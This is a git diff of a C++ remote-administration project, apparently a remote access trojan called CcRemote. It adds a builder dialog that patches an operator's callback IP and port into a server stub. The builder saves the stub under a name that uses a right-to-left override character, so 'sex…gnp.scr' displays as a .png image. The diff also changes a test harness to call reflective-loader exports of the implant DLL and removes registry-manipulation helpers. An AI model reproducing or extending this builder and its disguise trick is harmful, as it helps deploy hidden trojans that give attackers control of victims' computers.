<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loder.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="RegEditEx.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Loder.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\bin\server\CcMainDll.dll" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
@@ -1,38 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loder.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="RegEditEx.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Loder.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\bin\server\CcMainDll.dll" />
|
||||
</ItemGroup>
|
||||
</Project>
|
@@ -1,4 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
@@ -1,243 +0,0 @@
|
||||
#include <windows.h>
|
||||
|
||||
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
|
||||
char *DelSpace(char *szData)
|
||||
{
|
||||
int i=0 ;
|
||||
while(1)
|
||||
{
|
||||
if(strnicmp(szData+i," ",1))
|
||||
break;
|
||||
i++;
|
||||
}
|
||||
return (szData+i);
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>Ȩ<EFBFBD><C8A8>(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
|
||||
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security)
|
||||
{
|
||||
HKEY hKey;
|
||||
SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY;
|
||||
PSID pSystemSid = NULL;
|
||||
PSID pUserSid = NULL;
|
||||
SECURITY_DESCRIPTOR sd;
|
||||
PACL pDacl = NULL;
|
||||
DWORD dwAclSize;
|
||||
int iResult = 0;
|
||||
|
||||
__try
|
||||
{
|
||||
if(RegOpenKeyEx(MainKey, SubKey, 0, WRITE_DAC, &hKey)!= ERROR_SUCCESS)
|
||||
__leave;
|
||||
if(!AllocateAndInitializeSid(&sia,1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid ))
|
||||
__leave;
|
||||
if(!AllocateAndInitializeSid( &sia, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &pUserSid))
|
||||
__leave;
|
||||
dwAclSize = sizeof(ACL) + 2 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) + GetLengthSid(pSystemSid) + GetLengthSid(pUserSid) ;
|
||||
pDacl = (PACL)HeapAlloc(GetProcessHeap(), 0, dwAclSize);
|
||||
if(pDacl == NULL)
|
||||
__leave;
|
||||
if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION))
|
||||
__leave;
|
||||
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, KEY_ALL_ACCESS, pSystemSid ))
|
||||
__leave;
|
||||
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, (unsigned long)security, pUserSid ))
|
||||
__leave;
|
||||
if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
|
||||
__leave;
|
||||
if(!SetSecurityDescriptorDacl(&sd, TRUE, pDacl, FALSE))
|
||||
__leave;
|
||||
if(RegSetKeySecurity(hKey, (SECURITY_INFORMATION)DACL_SECURITY_INFORMATION, &sd)!= ERROR_SUCCESS)
|
||||
__leave;
|
||||
iResult =1;
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
|
||||
if(pDacl !=NULL)
|
||||
HeapFree(GetProcessHeap(), 0, pDacl);
|
||||
if(pSystemSid !=NULL)
|
||||
FreeSid(pSystemSid);
|
||||
if(pUserSid !=NULL)
|
||||
FreeSid(pUserSid);
|
||||
}
|
||||
|
||||
return iResult;
|
||||
}
|
||||
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
|
||||
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
|
||||
{
|
||||
HKEY hKey;
|
||||
int ValueDWORD,iResult=0;
|
||||
char* PointStr;
|
||||
char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH];
|
||||
DWORD szSize,KnSize,dwIndex=0;
|
||||
|
||||
memset(KeyName,0,sizeof(KeyName));
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
memset(ValueTemp,0,sizeof(ValueTemp));
|
||||
|
||||
__try
|
||||
{
|
||||
// SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS);
|
||||
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS)
|
||||
{
|
||||
iResult = -1;
|
||||
__leave;
|
||||
}
|
||||
switch(Mode)
|
||||
{
|
||||
case 0:
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
case REG_EXPAND_SZ:
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
|
||||
{
|
||||
strcpy(szData,DelSpace(ValueSz));
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_MULTI_SZ:
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
|
||||
{
|
||||
for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1)
|
||||
{
|
||||
|
||||
strncat(ValueTemp,PointStr,sizeof(ValueTemp));
|
||||
strncat(ValueTemp," ",sizeof(ValueTemp));
|
||||
}
|
||||
strcpy(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_DWORD:
|
||||
szSize = sizeof(DWORD);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS)
|
||||
{
|
||||
wsprintf(szData,"%d",ValueDWORD);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_BINARY:
|
||||
szSize = lbSize;
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 1:
|
||||
while(1)
|
||||
{
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegEnumKeyEx(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS)
|
||||
break;
|
||||
wsprintf(ValueTemp,"[%s]\r\n",ValueSz);
|
||||
strcat(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
while(1)
|
||||
{
|
||||
memset(KeyName,0,sizeof(KeyName));
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
memset(ValueTemp,0,sizeof(ValueTemp));
|
||||
KnSize = sizeof(KeyName);
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegEnumValue(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS)
|
||||
break;
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz);
|
||||
break;
|
||||
case REG_EXPAND_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz);
|
||||
break;
|
||||
case REG_DWORD:
|
||||
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz));
|
||||
break;
|
||||
case REG_MULTI_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ");
|
||||
break;
|
||||
case REG_BINARY:
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY");
|
||||
break;
|
||||
}
|
||||
lstrcat(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
return iResult;
|
||||
}
|
||||
//дע<D0B4><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1-<2D><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD> 2-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD> 3-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode)
|
||||
{
|
||||
HKEY hKey;
|
||||
DWORD dwDisposition;
|
||||
int iResult =0;
|
||||
|
||||
__try
|
||||
{
|
||||
// SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
|
||||
switch(Mode)
|
||||
{
|
||||
case 0:
|
||||
if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
case 1:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
case REG_EXPAND_SZ:
|
||||
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case REG_DWORD:
|
||||
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case REG_BINARY:
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case 3:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
return iResult;
|
||||
}
|
@@ -1,18 +0,0 @@
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.obj
|
||||
g:\ccremote\ccremote\bin\server\loder.exe
|
||||
g:\ccremote\ccremote\bin\server\loder.pdb
|
||||
g:\ccremote\ccremote\bin\server\loder.ipdb
|
||||
g:\ccremote\ccremote\bin\server\loder.iobj
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.res
|
||||
g:\ccremote\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\loder.write.1u.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.write.1.tlog
|
@@ -1,18 +0,0 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
Loder.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
正在生成代码
|
||||
All 10 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe
|
Binary file not shown.
@@ -1,2 +0,0 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
@@ -1,16 +0,0 @@
|
||||
//{{NO_DEPENDENCIES}}
|
||||
// Microsoft Visual C++ <20><><EFBFBD>ɵİ<C9B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
// <20><> Loder.rc ʹ<><CAB9>
|
||||
//
|
||||
#define IDR_DLL1 101
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 102
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
@@ -1 +1 @@
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
|
||||
|
@@ -1,6 +1,6 @@
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
TestLoadDll.cpp
|
||||
正在生成代码
|
||||
All 171 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
||||
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
||||
|
@@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|F:\myapp\CcRemote\CcMainDll\|
|
||||
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
||||
|
@@ -7,19 +7,28 @@
|
||||
int main()
|
||||
{
|
||||
std::cout << "Hello World!\n";
|
||||
char strHost[] = "127.0.0.1"; //声明上线地址
|
||||
int nPort = 80; //声明上线端口
|
||||
//载入服务端dll
|
||||
|
||||
//载入服务端dll hijack test
|
||||
HMODULE hServerDll = LoadLibrary(".\\..\\..\\bin\\server\\CcMainDll.dll");
|
||||
//HMODULE hServerDll = LoadLibrary(".\server.dll");
|
||||
//声明导出函数类型--导出的TestRun函数
|
||||
typedef void(_cdecl *TestRunT)(char* strHost, int nPort);
|
||||
//寻找dll中导出函数
|
||||
TestRunT pTestRunT = (TestRunT)GetProcAddress(hServerDll, "TestFun");
|
||||
//判断函数是否为空
|
||||
if (pTestRunT != NULL)
|
||||
|
||||
typedef int(_cdecl *TestRunInit)();
|
||||
|
||||
TestRunInit InitTestReflectiveLoader = (TestRunInit)GetProcAddress(hServerDll, "InitTestReflectiveLoader");
|
||||
|
||||
if (InitTestReflectiveLoader != NULL)
|
||||
{
|
||||
pTestRunT(strHost, nPort); //调用这个函数
|
||||
InitTestReflectiveLoader(); //调用这个函数
|
||||
}
|
||||
|
||||
|
||||
//声明导出函数类型--导出的TestRun函数
|
||||
typedef void(_cdecl *TestRunT)();
|
||||
//寻找dll中导出函数
|
||||
TestRunT pReflectiveLoader = (TestRunT)GetProcAddress(hServerDll, "ReflectiveLoader");
|
||||
//判断函数是否为空
|
||||
if (pReflectiveLoader != NULL)
|
||||
{
|
||||
pReflectiveLoader(); //调用这个函数
|
||||
}
|
||||
|
||||
}
|
||||
|
Binary file not shown.
167
CcRemote/CcRemote/CBuildDlg.cpp
Normal file
167
CcRemote/CcRemote/CBuildDlg.cpp
Normal file
@@ -0,0 +1,167 @@
|
||||
// CBuildDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "CBuildDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include <io.h>
|
||||
|
||||
|
||||
struct Connect_Address
|
||||
{
|
||||
DWORD dwstact;
|
||||
char strIP[MAX_PATH];
|
||||
int nPort;
|
||||
char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid
|
||||
}g_myAddress = { 0xCC28256,"",0,"" };
|
||||
// CBuildDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
||||
|
||||
CBuildDlg::CBuildDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialog(IDD_DIALOG_BUILD, pParent)
|
||||
, m_strIP(_T(""))
|
||||
, m_strPort(_T(""))
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CBuildDlg::~CBuildDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
||||
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
|
||||
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CBuildDlg 消息处理程序
|
||||
|
||||
|
||||
bool CreateMyFile(const WCHAR* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
|
||||
{
|
||||
DWORD dwWritten;
|
||||
|
||||
HANDLE hFile = CreateFileW(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
if (hFile != NULL)
|
||||
{
|
||||
WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
void CBuildDlg::OnBnClickedOk()
|
||||
{
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
CFile file;
|
||||
char strTemp[MAX_PATH];
|
||||
WCHAR strTempW[MAX_PATH];
|
||||
ZeroMemory(strTemp, MAX_PATH);
|
||||
CString strCurrentPath;
|
||||
CStringW strCurrentPathW;
|
||||
CString strFile;
|
||||
CString strSeverFile;
|
||||
CString strCamouflageFile;
|
||||
BYTE *lpBuffer = NULL;
|
||||
BYTE names[] = {0x73,0x00,0x65,0x00,0x78,0x00,0x2E,0x20,0x67,0x00,0x6E,0x00,0x70,0x00,0x2E,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x00,0x00 };
|
||||
PWCHAR namess = (PWCHAR)names;
|
||||
|
||||
|
||||
DWORD dwFileSize;
|
||||
UpdateData(TRUE);
|
||||
//////////上线信息//////////////////////
|
||||
strcpy(g_myAddress.strIP, m_strIP);
|
||||
g_myAddress.nPort = atoi(m_strPort);
|
||||
try
|
||||
{
|
||||
//此处得到未处理前的文件名
|
||||
GetModuleFileName(NULL, strTemp, MAX_PATH); //得到文件名
|
||||
GetModuleFileNameW(NULL, strTempW, MAX_PATH); //得到文件名
|
||||
|
||||
strCurrentPathW = strTempW;
|
||||
|
||||
strCurrentPathW = strCurrentPathW.Left(strCurrentPathW.ReverseFind('\\'));
|
||||
|
||||
strCurrentPath = strTemp;
|
||||
int nPos = strCurrentPath.ReverseFind('\\');
|
||||
strCurrentPath = strCurrentPath.Left(nPos);
|
||||
strFile = strCurrentPath + "\\server\\loder.exe"; //得到当前未处理文件名
|
||||
//打开文件
|
||||
file.Open(strFile, CFile::modeRead | CFile::typeBinary);
|
||||
dwFileSize = file.GetLength();
|
||||
lpBuffer = new BYTE[dwFileSize];
|
||||
ZeroMemory(lpBuffer, dwFileSize);
|
||||
//读取文件内容
|
||||
file.Read(lpBuffer, dwFileSize);
|
||||
file.Close();
|
||||
//写入上线IP和端口 主要是寻找0x这个标识然后写入这个位置
|
||||
int nOffset = memfind((char*)lpBuffer, (char*)&g_myAddress.dwstact, dwFileSize, sizeof(DWORD));
|
||||
memcpy(lpBuffer + nOffset, &g_myAddress, sizeof(Connect_Address));
|
||||
//strCamouflageFile = FindFiles("F:\\myapp\\CcRemote\\bin\\server\\", lpBuffer, dwFileSize);
|
||||
//if (strCamouflageFile != "null")
|
||||
//{
|
||||
// int a = file.Open(strCamouflageFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
|
||||
// file.Write(lpBuffer, dwFileSize);
|
||||
// file.Close();
|
||||
//}
|
||||
//else
|
||||
//{
|
||||
//保存到文件
|
||||
strSeverFile = strCurrentPath+"\\server.exe";
|
||||
|
||||
strCurrentPathW = strCurrentPathW + L"\\" + namess;
|
||||
CreateMyFile(strCurrentPathW, lpBuffer, dwFileSize);
|
||||
file.Open(strSeverFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
|
||||
file.Write(lpBuffer, dwFileSize);
|
||||
file.Close();
|
||||
//}
|
||||
|
||||
delete[] lpBuffer;
|
||||
MessageBox("生成成功");
|
||||
|
||||
}
|
||||
catch (CMemoryException* e)
|
||||
{
|
||||
MessageBox("内存不足");
|
||||
}
|
||||
catch (CFileException* e)
|
||||
{
|
||||
MessageBox("文件操作错误");
|
||||
}
|
||||
catch (CException* e)
|
||||
{
|
||||
MessageBox("未知错误");
|
||||
}
|
||||
CDialog::OnOK();
|
||||
}
|
||||
|
||||
|
||||
int CBuildDlg::memfind(const char *mem, const char *str, int sizem, int sizes)
|
||||
{
|
||||
int da, i, j;
|
||||
if (sizes == 0) da = strlen(str);
|
||||
else da = sizes;
|
||||
for (i = 0; i < sizem; i++)
|
||||
{
|
||||
for (j = 0; j < da; j++)
|
||||
if (mem[i + j] != str[j]) break;
|
||||
if (j == da) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
30
CcRemote/CcRemote/CBuildDlg.h
Normal file
30
CcRemote/CcRemote/CBuildDlg.h
Normal file
@@ -0,0 +1,30 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
// CBuildDlg 对话框
|
||||
|
||||
class CBuildDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CBuildDlg)
|
||||
|
||||
public:
|
||||
CBuildDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CBuildDlg();
|
||||
|
